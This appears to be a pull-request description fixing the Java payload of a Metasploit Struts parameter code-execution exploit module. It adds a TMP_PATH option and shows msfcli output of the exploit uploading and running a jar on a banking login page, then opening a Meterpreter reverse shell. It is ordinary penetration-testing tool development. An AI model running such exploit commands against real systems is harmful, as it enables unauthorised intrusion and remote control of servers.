fix java payload struts module

This fixes the JAVA payload in the struts_code_exec_parameters exploit as discussed with @jvazquez-r7 in #3343.

This lets the user change the output path of the uploaded binary. In my example the path was not writeable and so the JAVA target did not work correctly.

Output:
```
$ msfcli exploit/test PARAMETER=username RHOST=ebanking.XXXX RPORT=80 TARGETURI=/login/Login.action TARGET=2 LHOST=10.201.0.70 TMP_PATH=/tmp/ E
[*] Initializing modules...
PARAMETER => username
RHOST => ebanking.XXXX
RPORT => 80
TARGETURI => /login/Login.action
TARGET => 2
LHOST => 10.201.0.70
TMP_PATH => /tmp/
[*] Started reverse handler on 10.201.0.70:4444 
[*] ebanking.XXXX:80 - Uploading exploit to /tmp/uiGUly.jar
[*] ebanking.XXXX:80 - Executing payload
[*] Sending stage (30355 bytes) to 192.168.200.234
[*] Meterpreter session 1 opened (10.201.0.70:4444 -> 192.168.200.234:58517) at 2014-05-09 22:17:18 +0000
[+] Deleted /tmp/uiGUly.jar

meterpreter > 
```